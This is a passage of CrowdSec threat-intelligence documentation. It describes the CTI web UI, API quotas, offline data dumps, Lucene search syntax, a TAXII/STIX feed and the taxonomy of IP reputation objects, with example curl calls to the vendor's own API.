search and filtering capabilities, finding relevant information about IPs has never been easier. Whether youโ€™re investigating a specific IP or searching for trends, CTI provides an intuitive and streamlined experience. **5. Integration-Friendly** CTI integrates seamlessly into your existing CrowdSec setup, making it an invaluable part of your defense strategy without requiring additional complexity. Use the [Free CrowdSec CTI API](https://app.crowdsec.net/settings/cti-api-keys) to access threat data programmatically and enhance your security operations. ### Faceted Research for Analysts[โ€‹](#faceted-research-for-analysts "Direct link to Faceted Research for Analysts") Understand how CTI enables analysts to uncover trends, identify repeat offenders, and map out potential attack vectors using advanced research tools. [(You can check this example)](https://app.crowdsec.net/cti?q=classifications.classifications.name:%22crowdsec:ai_vpn_proxy%22+AND+\(reputation:malicious+OR+reputation:suspicious\)\&page=1) --- # CrowdSec IP Reputation / CTI # Understand the IPs behind attacks CrowdSec tracks malicious IPs across hundreds of thousands of real deployments worldwide.
Every lookup gives you **behavioral context**: what the IP was doing, where, and when. Quick access [๐Ÿ” Look up an IP](https://app.crowdsec.net/cti)[๐Ÿ”‘ Get an API key](https://docs.crowdsec.net/u/console/ip_reputation/api_keys.md)[๐ŸŽฏ Hunt for threats](https://docs.crowdsec.net/u/tracker_api/intro.md) Entry points How do you want to use it? No setup needed Web UI investigation Search any IP instantly. Explore threat history and the top aggressive IPs in the last 24h. No API key needed. [Web UI guide](https://docs.crowdsec.net/u/console/ip_reputation/intro.md)[IP Report](https://docs.crowdsec.net/u/console/ip_reputation/ip_report.md) Developer / SecOps Enrich Alerts via API Use the CTI API to add CrowdSec IP context to SIEM alerts, SOAR workflows, TIPs, scripts, and internal tools. [API quickstart](https://docs.crowdsec.net/u/cti_api/api_introduction.md)[All integrations](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intro.md) Threat hunter Hunt active threats Advanced Search with live faceted filters (behavior, country, AS, CVE) to find campaigns or build blocklists. [Advanced search](https://docs.crowdsec.net/u/console/ip_reputation/search_ui_advanced.md)[Live Exploit Tracker](https://docs.crowdsec.net/u/tracker_api/intro.md) Why CrowdSec CTI Most IP reputation services tell you an IP is "bad." CrowdSec tells you **what it was doing**. From real deployments, not honeypots. ๐ŸŒ**Real-world attack signals**: CrowdSec intelligence is built from signals shared by real deployments across the Internet. ๐Ÿง **Behavioral, not just reputation**: Brute-force, CVE exploitation, scan, credential stuffing, mapped to MITRE ATT\&CK. โšก**Real-time, not cached lists**: Continuously updated with time-windowed scores showing if a threat is rising, stable, or decaying. ๐Ÿ”ฌ**CVE-level exploit tracking**: Live Exploit Tracker shows which CVEs are actively exploited, with momentum, opportunity, and malicious IP context. Integrations Already using one of these? Jump straight to the integration guide, no need to read the full API docs first. [![IPDEX logo](/img/cti-integrations/logo-ipdex.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ipdex.md) [IPDEXCrowdSec CTI Reports](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ipdex.md) [![Chrome logo](/img/cti-integrations/logo-chrome.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_chrome.md) [ChromeCrowdSec CTI Extension](https://docs.crowdsec.net/u/cti_api/api_integration/integration_chrome.md) [![Gigasheet logo](/img/cti-integrations/logo-gigasheet.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_gigasheet.md) [GigasheetNo-Code API Enrichment](https://docs.crowdsec.net/u/cti_api/api_integration/integration_gigasheet.md) [![IntelOwl logo](/img/cti-integrations/logo-intelowl.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intelowl.md) [IntelOwlCrowdSec Analyzer](https://docs.crowdsec.net/u/cti_api/api_integration/integration_intelowl.md) [![Maltego logo](/img/cti-integrations/logo-maltego.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_maltego.md) [MaltegoCrowdSec Transform](https://docs.crowdsec.net/u/cti_api/api_integration/integration_maltego.md) [![MISP logo](/img/cti-integrations/logo-misp.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_misp.md) [MISPCrowdSec Feed Module](https://docs.crowdsec.net/u/cti_api/api_integration/integration_misp.md) [![MSTICpy logo](/img/cti-integrations/logo-msticpy.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_msticpy.md) [MSTICpyCrowdSec TI Provider](https://docs.crowdsec.net/u/cti_api/api_integration/integration_msticpy.md) [![Microsoft Sentinel logo](/img/cti-integrations/logo-ms-sentinel.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ms_sentinel.md) [Microsoft SentinelCrowdSec Threat Intelligence](https://docs.crowdsec.net/u/cti_api/api_integration/integration_ms_sentinel.md) [![OpenCTI logo](/img/cti-integrations/logo-opencti.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_opencti.md) [OpenCTICrowdSec Connector](https://docs.crowdsec.net/u/cti_api/api_integration/integration_opencti.md) [![Palo Alto XSOAR logo](/img/cti-integrations/logo-paloalto_xsoar.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_paloalto_xsoar.md) [Palo Alto XSOARCrowdSec Integration](https://docs.crowdsec.net/u/cti_api/api_integration/integration_paloalto_xsoar.md) [![QRadar logo](/img/cti-integrations/logo-qradar.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_qradar.md) [QRadarCrowdSec App](https://docs.crowdsec.net/u/cti_api/api_integration/integration_qradar.md) [![Security Copilot logo](/img/cti-integrations/logo-securitycopilot.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_securitycopilot.md) [Security CopilotCrowdSec Plugin](https://docs.crowdsec.net/u/cti_api/api_integration/integration_securitycopilot.md) [![Sekoia XDR logo](/img/cti-integrations/logo-sekoia.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_sekoia_xdr.md) [Sekoia XDRCrowdSec CTI Intake](https://docs.crowdsec.net/u/cti_api/api_integration/integration_sekoia_xdr.md) [![Splunk SIEM logo](/img/cti-integrations/logo-splunk_siem.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_siem.md) [Splunk SIEMCrowdSec Add-on for Splunk](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_siem.md) [![Splunk SOAR logo](/img/cti-integrations/logo-splunk_soar.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_soar.md) [Splunk SOARCrowdSec App for SOAR](https://docs.crowdsec.net/u/cti_api/api_integration/integration_splunk_soar.md) [![TheHive logo](/img/cti-integrations/logo-thehive.png)](https://docs.crowdsec.net/u/cti_api/api_integration/integration_thehive.md) [TheHiveCrowdSec Analyzer](https://docs.crowdsec.net/u/cti_api/api_integration/integration_thehive.md) **Community Plan Free Key** : 120 / month ยท Testing integrations, personal servers, ad-hoc lookups **Premium Plan Free Key** : 1500 / month ยท Regular enrichment, small SOC teams, recurring automation **Premium Keys Options** : 5K ยท 25K ยท 100K / month ยท Production SIEMs, SOARs, high-volume pipelines (requires Premium) API quotas are separate from Web UI quotas. Unused quota does not roll over. Technical details [Data Taxonomy](https://docs.crowdsec.net/u/cti_api/taxonomy/intro.md) [CTI Data structure, scores, behaviors and classifications](https://docs.crowdsec.net/u/cti_api/taxonomy/intro.md) [Data Taxonomy](https://docs.crowdsec.net/u/cti_api/taxonomy/intro.md) API Reference Full endpoint reference with request/response schemas. [Open API docs](https://crowdsecurity.github.io/cti-api/) [FAQ](https://docs.crowdsec.net/u/cti_api/faq.md) [Common questions about access, quotas, and data.](https://docs.crowdsec.net/u/cti_api/faq.md) [FAQ](https://docs.crowdsec.net/u/cti_api/faq.md) Need help? Get answers in Discord or check the FAQ. [๐Ÿ’ฌ Join Discord](https://discord.gg/crowdsec)[โ“ View FAQ](https://docs.crowdsec.net/u/cti_api/faq.md)[๐Ÿ“š API Reference](https://crowdsecurity.github.io/cti-api/) --- # Offline Replicas The CTI REST API is ideal for looking up individual IPs on demand. But some use cases need the data *locally*: high-volume enrichment with no per-request latency, air-gapped environments, or feeding a SIEM/TIP in bulk. The **offline replica** (Full Dump) is a complete, periodically refreshed snapshot of the CrowdSec CTI database. Instead of querying IP by IP, you download the whole dataset and run it where you need it, with no rate limits and no network round-trips per lookup. Premium feature The offline replica requires a **dedicated API key**. [Contact our sales team](https://www.crowdsec.net/contact-crowdsec) to get access. Two datasets are available: * **Smoke**: the full CrowdSec threat intelligence dataset. * **Fire**: the full CrowdSec intelligence blocklist. ## Formats[โ€‹](#formats "Direct link to Formats") You choose the format that fits your tooling: | Format | Best for | | --------- | ---------------------------------------------------------- | | `mmdb` | Fast IP lookups embedded in your apps (MaxMind-style DB) | | `parquet` | Analytics, data lakes, columnar processing | | `json` | NDJSON, line-delimited JSON for streaming / simple parsing | ## How it works[โ€‹](#how-it-works "Direct link to How it works") A single request returns short-lived (1 hour) download links for each dataset, along with a SHA-256 checksum so you can verify the file: SHCOPY ``` # Default format is NDJSON (json). Use ?format=parquet or ?format=mmdb otherwise. curl -H "x-api-key: $API_KEY" "https://cti.api.crowdsec.net/v2/dump?format=mmdb" ``` JSONCOPY ``` { "fire": { "url": "https://.../fire_mmdb_latest.tar.gz?...", "checksum": "bdda22833ce3dc8e...", "checksum_type": "sha256", "expire_at": "2026-06-09T12:06:21", "description": "Dump of the CrowdSec community-blocklist.", "format": "mmdb" }, "smoke": { "url": "https://.../smoke_full_mmdb_latest.tar.gz?...", "checksum": "afce37deec359814...", "checksum_type": "sha256", "expire_at": "2026-06-09T12:06:21", "description": "Dump of the smoke database.", "format": "mmdb" } } ``` Download the file from each `url`, verify it against the `checksum`, and you have a local replica of the CTI to query however you like. Each record carries the full CTI taxonomy: reputation, scores, behaviors, classifications, AS/geo info, MITRE techniques, CVEs, and more (see the [Taxonomy](https://docs.crowdsec.net/u/cti_api/taxonomy/intro.md)). ## Getting access[โ€‹](#getting-access "Direct link to Getting access") The offline replica is available with a dedicated CTI API key. [Contact sales to get your API key โ†’](https://www.crowdsec.net/contact-crowdsec) --- # Search Queries ## Lucene queries[โ€‹](#lucene-queries "Direct link to Lucene queries") The CrowdSec CTI search engine is based on Lucene query syntax. This syntax allows users to make queries based on the CTI information we provide about IP addresses. ## Fields[โ€‹](#fields "Direct link to Fields") It is possible to search any field available in the JSON document below: Available fields to query JSONCOPY ``` { "ip": "[CENSORED]", "ip_range": "[CENSORED]", "as_name": "[CENSORED]", "reputation": "malicious", "ip_range_24": "[CENSORED]", "ip_range_24_reputation": "suspicious", "background_noise": "high", "confidence": "high", "as_num": 8798, "location": { "country": "FR", "city": "Paris" }, "reverse_dns": "[CENSORED]", "behaviors": [ { "name": "http:exploit", "label": "HTTP Exploit", "description": "IP has been reported for attempting to exploit a vulnerability in a web application." } ], "classifications": { "false_positives": [], "classifications": [] }, "attack_details": [], "mitre_techniques": [ { "name": "T1190", "label": "Exploit Public-Facing Application", "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network." } ], "cves": ["CVE-2021-26086"] } ``` We provide all the possible values for each of the following fields: * [`behaviors`](https://docs.crowdsec.net/u/cti_api/taxonomy/behaviors.md) * [`classifications.classifications`](https://docs.crowdsec.net/u/cti_api/taxonomy/classifications.md) * [`classifications.false_positives`](https://docs.crowdsec.net/u/cti_api/taxonomy/false_positives.md) * [`attack_details`](https://docs.crowdsec.net/u/cti_api/taxonomy/scenarios.md) To perform a search query, specify the field from the JSON document you wish to search followed by a colon `:` and the value you are looking for between double quotes. info Search is case insensitive. For example, if you want [to search for malicious IPs](https://app.crowdsec.net/cti?q=reputation%3A%22malicious%22\&page=1): SHCOPY ``` reputation:"malicious" ``` You can also [query IPs reported for a specific CVE](https://app.crowdsec.net/cti?q=cves%3A%22CVE-2021-26086%22\&page=1): SHCOPY ``` cves:"CVE-2021-26086" ``` It is also possible [to combine multiple expressions](https://app.crowdsec.net/cti?q=reputation%3A%22malicious%22+AND+cves%3A%22CVE-2021-26086%22\&page=1): SHCOPY ``` reputation:"malicious" AND cves:"CVE-2021-26086" ``` You can access [a nested field by joining each part of its path](https://app.crowdsec.net/cti?q=classifications.classifications.label%3A%22TOR%22+AND+behaviors.label%3A%22http+exploit%22\&page=1) by a `.`: SHCOPY ``` classifications.classifications.label:"TOR" AND behaviors.label:"http exploit" ``` ## Operators[โ€‹](#operators "Direct link to Operators") warning Always use `AND`, `OR`, `NOT` in uppercase to ensure correct results. ### `AND`[โ€‹](#and "Direct link to and") The `AND`ย operator requires expression from each side to be `true`. For example, if you want [to search for malicious IPs located in France](https://app.crowdsec.net/cti?q=reputation%3A%22malicious%22+AND+location.country%3A%22FR%22\&page=1): SHCOPY ``` reputation:"malicious" AND location.country:"FR" ``` ### `OR`[โ€‹](#or "Direct link to or") The `OR`ย operator requires at least one of the expressions from each side to be `true`. For example, you can [query malicious or suspicious IPs](https://app.crowdsec.net/cti?q=reputation%3A%22malicious%22+OR+reputation%3A%22suspicious%22\&page=1): SHCOPY ``` reputation:"malicious" OR reputation:"suspicious" ``` ### `NOT`[โ€‹](#not "Direct link to not") The `NOT` operator excludes documents containing the specified term from search results. For example, you can [query malicious IPs except IPs located in France](https://app.crowdsec.net/cti?q=reputation%3A%22malicious%22+AND+NOT+location.country%3A%22FR%22\&page=1): SHCOPY ``` reputation:"malicious" AND NOT location.country:"FR" ``` ### Nested Operators[โ€‹](#nested-operators "Direct link to Nested Operators") It is possible to combine many operators in a single query. For example, you can [look for malicious IPs reported for HTTP exploitation or HTTP Scan](https://app.crowdsec.net/cti?q=reputation%3A%22malicious%22+AND+%28behaviors.label%3A%22http+exploit%22+OR+behaviors.label%3A%22http+scan%22%29\&page=1): SHCOPY ``` reputation:"malicious" AND (behaviors.label:"http exploit" OR behaviors.label:"http scan") ``` You can also [search for malicious IPs reported with high or medium confidence for HTTP exploitation and not located in France](https://app.crowdsec.net/cti?q=reputation%3A%22malicious%22+AND+%28confidence%3A%22high%22+OR+confidence%3A%22medium%22%29+AND+behaviors.label%3A%22http+exploit%22+AND+location.country%3A%22fr%22\&page=1): SHCOPY ``` reputation:"malicious" AND (confidence:"high" OR confidence:"medium") AND behaviors.label:"http exploit" AND location.country:"fr" ``` It is possible [to search for malicious IPs reported for HTTP exploitation or HTTP scan but not SSH bruteforce](https://app.crowdsec.net/cti?q=reputation%3Amalicious+AND+%28%28behaviors.label%3A%22http+exploit%22+OR+behaviors.label%3A%22http+scan%22%29+AND+NOT+behaviors.label%3A%22ssh+bruteforce%22%29\&page=1): SHCOPY ``` reputation:malicious AND ((behaviors.label:"http exploit" OR behaviors.label:"http scan") AND NOT behaviors.label:"ssh bruteforce") ``` ## Wildcard[โ€‹](#wildcard "Direct link to Wildcard") warning Wildcard values cannot start with `*` or `?`, for example `reverse_dns:*.crowdsec.net` is invalid. warning Do not enclose wildcard queries between double quotes. It is possible to make wildcard queries where `*` indicates any additional number of characters and `?` indicates any single character. You can query any IPs targeting HTTP protocol: SHCOPY ``` behaviors.label:HTTP\* ``` It is possible [to search for IP addresses reported for at least one CVE and not classified as a public scanner](https://app.crowdsec.net/cti?q=cves%3ACVE-*+AND+NOT+classifications.classifications.name%3Ascanner*\&page=1): SHCOPY ``` cves:CVE-* AND NOT classifications.classifications.name:scanner* ``` ## Regular Expression[โ€‹](#regular-expression "Direct link to Regular Expression") warning Do not enclose regular expression queries between double quotes. Regular expression must be enclosed between `/`. For example, you can [query any IPs reported for a CVE published in 2024](https://app.crowdsec.net/cti?q=cves%3A%2FCVE-2024-%5B0-9%5D%2B%2F\&page=1): SHCOPY ``` cves:/CVE-2024-[0-9]+/ ``` Or you can [search for any IPs belonging to Amazon or Google](https://app.crowdsec.net/cti?q=as_name%3A%2F%28amazon-02%7Cgoogle%29%2F\&page=1): SHCOPY ``` as_name:/(amazon-02|google)/ ``` --- # TAXII [TAXII](https://oasis-open.github.io/cti-documentation/taxii/intro) (Trusted Automated eXchange of Indicator Information) is the OASIS standard protocol for sharing cyber threat intelligence over HTTPS. The CrowdSec TAXII server implements **TAXII 2.1** and serves indicators as **STIX 2.1** objects, so any TAXII-compatible client (OpenCTI, MISP, Anomali, your TIP, etc.) can subscribe to the CrowdSec feed natively. Where the [offline replica](https://docs.crowdsec.net/u/cti_api/offline_replicas.md) is a bulk snapshot, the TAXII feed is designed for **continuous synchronization**: poll periodically and pull only what changed since your last poll. Premium feature The TAXII feed requires a **dedicated API key**. [Contact our sales team](https://www.crowdsec.net/contact-crowdsec) to get access. ## Endpoints[โ€‹](#endpoints "Direct link to Endpoints") The server exposes the standard TAXII 2.1 resources: | Endpoint | Purpose | | ------------------------------------ | ------------------------------------ | | `/v1/taxii2/` | Discovery, lists available API roots | | `/v1/cti/` | API root information | | `/v1/cti/collections/` | List collections | | `/v1/cti/collections/{id}/objects/` | Get STIX indicators (paginated) | | `/v1/cti/collections/{id}/manifest/` | Object metadata only | The CTI is published in the **`real-time-feeds`** collection, updated hourly. Each indicator maps an IP to a STIX `indicator` object with a pattern (e.g. `[ipv4-addr:value = '1.2.3.4']`), confidence score, labels, and validity window. ## Authentication[โ€‹](#authentication "Direct link to Authentication") Authenticate with your API key in one of two ways: * **`x-api-key` header**: pass the key directly. * **HTTP Basic auth** (the TAXII convention, and what most TAXII clients expect): the key goes in the **password** field. The username is ignored, but many tools won't let you leave it blank, so just put any non-empty value (e.g. `crowdsec`). SHCOPY ``` # Using the x-api-key header # Discovery curl -H "x-api-key: $API_KEY" \ https://taxii.cti.api.crowdsec.net/v1/taxii2/ # List collections curl -H "x-api-key: $API_KEY" \ https://taxii.cti.api.crowdsec.net/v1/cti/collections/ # Pull indicators (first page) curl -H "x-api-key: $API_KEY" \ "https://taxii.cti.api.crowdsec.net/v1/cti/collections/real-time-feeds/objects/?limit=100" ``` SHCOPY ``` # Using HTTP Basic auth (username can be anything, password is your API key) curl -u "crowdsec:$API_KEY" \ https://taxii.cti.api.crowdsec.net/v1/cti/collections/ ``` ## Response format[โ€‹](#response-format "Direct link to Response format") The objects endpoint returns a standard TAXII **envelope**: an `objects` array plus a `more` flag. When `more` is `true`, a `next` cursor is included; pass it back to fetch the following page. The **first page** is prefixed with a CrowdSec [Identity](https://docs.oasis-open.org/cti/stix/v2.1/os/stix-v2.1-os.html#_wh296fiwpklp) object. Every indicator points to it through `created_by_ref`, so you can attribute the feed to CrowdSec. Each IP is a STIX **Indicator** object: JSONCOPY ``` { "objects": [ { "type": "identity", "spec_version": "2.1", "id": "identity--fa61fc5e-dd3f-5a17-8260-f1819eec7ad9", "created": "2024-01-01T00:00:00.000Z", "modified": "2024-01-01T00:00:00.000Z", "name": "CrowdSec", "identity_class": "organization", "sectors": ["technology"] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--c000020a-0000-5000-8000-000000000000", "created": "2026-02-27T17:45:00.000Z", "modified": "2026-05-09T10:15:00.000Z", "name": "Suspicious IP 192.0.2.10", "pattern": "[ipv4-addr:value = '192.0.2.10']", "pattern_type": "stix", "valid_from": "2026-05-09T10:15:00.000Z", "valid_until": "2026-06-09T13:40:15.245Z", "indicator_types": ["anomalous-activity"], "confidence": 40, "labels": ["suspicious", "pop3/imap:bruteforce"], "created_by_ref": "identity--fa61fc5e-dd3f-5a17-8260-f1819eec7ad9" }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--c6336417-0000-5000-8000-000000000000", "created": "2025-01-23T05:15:00.000Z", "modified": "2026-05-09T10:15:00.000Z", "name": "Malicious IP 198.51.100.23", "pattern": "[ipv4-addr:value = '198.51.100.23']", "pattern_type": "stix", "valid_from": "2026-05-09T10:15:00.000Z", "valid_until": "2026-06-09T13:40:15.245Z", "indicator_types": ["malicious-activity"], "confidence": 60, "labels": [ "malicious", "http:scan", "generic:exploit", "http:exploit", "connection-type:residential" ], "created_by_ref": "identity--fa61fc5e-dd3f-5a17-8260-f1819eec7ad9", "description": "Malicious IP | Residential IP" } ], "more": false } ``` ### Indicator fields[โ€‹](#indicator-fields "Direct link to Indicator fields") | Field | Meaning | | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- | | `id` | Deterministic STIX ID derived from the IP, so the same IP always maps to the same indicator. | | `pattern` | STIX pattern matching the IP, e.g. `[ipv4-addr:value = '1.2.3.4']` (IPv4 and IPv6 supported). | | `name` | Human-readable summary including the IP and its reputation (`Malicious IP โ€ฆ`, `Suspicious IP โ€ฆ`). | | `indicator_types` | STIX type derived from reputation: `malicious-activity`, `anomalous-activity`, or `unknown`. | | `confidence` | CrowdSec confidence on a 0โ€“100 scale. | | `labels` | Reputation plus CrowdSec context: behaviors (`http:bruteforce`), classifications, and list memberships (`list:crowdsec_ai_vpn_proxy`). | | `created` | When the IP was first seen by CrowdSec. | | `modified` | When the IP was last seen by CrowdSec. | | `valid_from` / `valid_until` | Validity window of the indicator. Refresh before `valid_until` to keep your feed current. | | `created_by_ref` | Reference to the CrowdSec Identity object on page 1. | See the [Taxonomy](https://docs.crowdsec.net/u/cti_api/taxonomy/intro.md) for the full meaning of reputations, behaviors, and classifications surfaced in `labels`. ## Pulling only what changed[โ€‹](#pulling-only-what-changed "Direct link to Pulling only what changed") Use `added_after` to fetch indicators added since your last sync, and follow the opaque `next` cursor to page through results: SHCOPY ``` curl -H "x-api-key: $API_KEY" \ "https://taxii.cti.api.crowdsec.net/v1/cti/collections/real-time-feeds/objects/?added_after=2026-06-01T00:00:00Z&limit=100" ``` ## Getting access[โ€‹](#getting-access "Direct link to Getting access") The TAXII feed is available with a dedicated CTI API key. [Contact sales to get your API key โ†’](https://www.crowdsec.net/contact-crowdsec) --- # Behaviors [](https://hub-cdn.crowdsec.net/master/taxonomy/behaviors.json) Github --- # Benign Classifications [](https://hub-cdn.crowdsec.net/master/taxonomy/classifications.json) Github IPs in this category may raise alerts, but they are not inherently dangerous. These IPs often belong to organizations that perform legitimate activities, such as internet-wide scanning or security research. IPs belonging to those categories will have the `benign` [reputation](https://docs.crowdsec.net/u/cti_api/taxonomy/cti_object.md#reputation). note Blocking these IPs may not be necessary unless their behavior directly impacts your operations. --- # Classifications [](https://hub-cdn.crowdsec.net/master/taxonomy/classifications.json) Github Classification of Threat Intelligence follows the format `*category:name*`, where category is a broad type of classification encapsulating different elements. A summary of the main classification category is provided below, and you can use the search bar in the table to filter the classification you are looking for. ## Summary[โ€‹](#summary "Direct link to Summary") * `hosts_malware:*`: IP identified as hosting live payloads associated with known malware families. * `botnet:*`: IP associated with known botnets, based on the exploited CVE(s) and the payload they spread (e.g. Mirai). * `profile:*`: Describe the services publicly exposed by the machine (e.g. `profile:insecure_services`). * `ai-crawler:*`: AI company using to index the data used to train Large Language Models. Such companies (OpenAPI, ByteDance, Anthropic ... ) are heavy consumers of the internet bandwidth and result in a large amount of traffic. They can be directly consumed inside a specialized blocklist available [here](https://app.crowdsec.net/blocklists/67b3524151bbde7a12b60be0). * `ai-search:*`: AI search engine that is used by users to search the internet. They are coming from an AI agent, and are not used directly to train the AI models compared to the AI crawlers category. But the results is the same in terms of traffic load, as they can be part of an automation workflow. IPs can be directly consumed inside a specialized blocklist available [here](https://app.crowdsec.net/blocklists/67b3524151bbde7a12b60be0). * `device:*`: The IP is associated with a device having known security weaknesses. * `proxy:*`: Hosts identified as proxies based on the services they expose and/or their behaviour. IPs be directly consumed inside a specialized blocklist available [here](https://app.crowdsec.net/blocklists/65a56839ec04bcd4f51670be). * `group:*`: Cohort of machines seen attacking in a coordinated fashion. IPs belonging to the same cohort or cluster have been seen to exhibit a new behaviour in a synchronised manner, such as starting to exploit a known vulnerability at the same time (experimental feature). * `bot:*`: IPs associated with known bots, such as web scrapers, scanners, or other automated tools. * `connection-type:*`: IPs associated with a specific connection type : data center or residential. --- # Format Object example JSONCOPY ``` { "ip_range_score": 5, "ip": "[CENSORED]", "ip_range": "[CENSORED]", "as_name": "[CENSORED]", "reputation": "malicious", "ip_range_24": "[CENSORED]", "ip_range_24_reputation": "suspicious", "ip_range_24_score": 3, "background_noise_score": 10, "background_noise": "high", "as_num": 0, "location": { "country": "FR", "city": "", "latitude": 0.0, "longitude": 0.0 }, "reverse_dns": "[CENSORED]", "behaviors": [ { "name": "http:scan", "label": "HTTP Scan", "description": "IP has been reported for performing actions related to HTTP vulnerability scanning and discovery." }, { "name": "ssh:bruteforce", "label": "SSH Bruteforce", "description": "IP has been reported for performing brute force on ssh services." }, { "name": "http:exploit", "label": "HTTP Exploit", "description": "IP has been reported for attempting to exploit a vulnerability in a web application." }, { "name": "generic:exploit", "label": "Exploitation attempt", "description": "IP has been reported trying to exploit known vulnerability/CVE on unspecified protocols." } ], "history": { "first_seen": "2022-05-28T16:00:00+00:00", "last_seen": "2023-10-15T05:45:00+00:00", "full_age": 507, "days_age": 505 }, "classifications": { "false_positives": [], "classifications": [] }, "attack_details": [ { "name": "crowdsecurity/http-probing", "label": "HTTP Probing", "description": "Detect site scanning/probing from a single ip", "references": [] }, { "name": "crowdsecurity/ssh-bf", "label": "SSH Bruteforce", "description": "Detect ssh bruteforce", "references": [] }, { "name": "crowdsecurity/ssh-slow-bf", "label": "SSH Bruteforce", "description": "Detect slow ssh bruteforce", "references": [] }, { "name": "crowdsecurity/http-bad-user-agent", "label": "detection of bad user-agents", "description": "Detect bad user-agents", "references": [] }, { "name": "crowdsecurity/suricata-major-severity", "label": "Suricata Severity 1 Event", "description": "Detect exploit attempts via emerging threat rules", "references": [] }, { "name": "crowdsecurity/modsecurity", "label": "Modsecurity Alert", "description": "Web exploitation via modsecurity", "references": [] } ], "target_countries": { "AT": 0, "AU": 2, "BR": 0, "CA": 4, "CH": 0, "CN": 0, "DE": 79, "DK": 0, "ES": 0, "FI": 12 }, "mitre_techniques": [ { "name": "T1595", "label": "Active Scanning", "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190))." }, { "name": "T1110", "label": "Brute Force", "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access." }, { "name": "T1190", "label": "Exploit Public-Facing Application", "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)" } ], "cves": [], "scores": { "overall": { "aggressiveness": 5, "threat": 2, "trust": 4, "anomaly": 0, "total": 4 }, "last_day": { "aggressiveness": 0, "threat": 0, "trust": 0, "anomaly": 0, "total": 0 }, "last_week": { "aggressiveness": 5, "threat": 2, "trust": 4, "anomaly": 0, "total": 4 }, "last_month": { "aggressiveness": 5, "threat": 2, "trust": 4, "anomaly": 0, "total": 4 } }, "references": [] } ``` ## `ip`[โ€‹](#ip "Direct link to ip") > type: **string** JSONCOPY ``` "ip": "1.2.3.4" ``` The requested IP. ## `ip_range`[โ€‹](#ip_range "Direct link to ip_range") > type: **string** JSONCOPY ``` "ip_range": "1.2.3.0/18" ``` The range to which the IP belongs. ## `reputation`[โ€‹](#reputation "Direct link to reputation") > type: **string** JSONCOPY ``` "reputation" : "malicious" ``` The reputation of the IP address. The possible values are: * `malicious` : The IP address is malicious * `suspicious` : Many CrowdSec users have reported the IP, but it is not aggressive enough to be considered malicious * `known` : At this time, the CrowdSec network has identified the IP, but we still require additional information to make a decision * `safe` : The IP address is safe and can be trusted (ex: Google DNS, Cloudflare DNS ...) * `benign` : The IP address belong to a known entity and is not dangerous (eg. Public Internet Scanners) * `unknown`: The IP address is either unknown or its last report is from more than three months ago ## `ip_range_24`[โ€‹](#ip_range_24 "Direct link to ip_range_24") > type: **string** JSONCOPY ``` "ip_range_24" 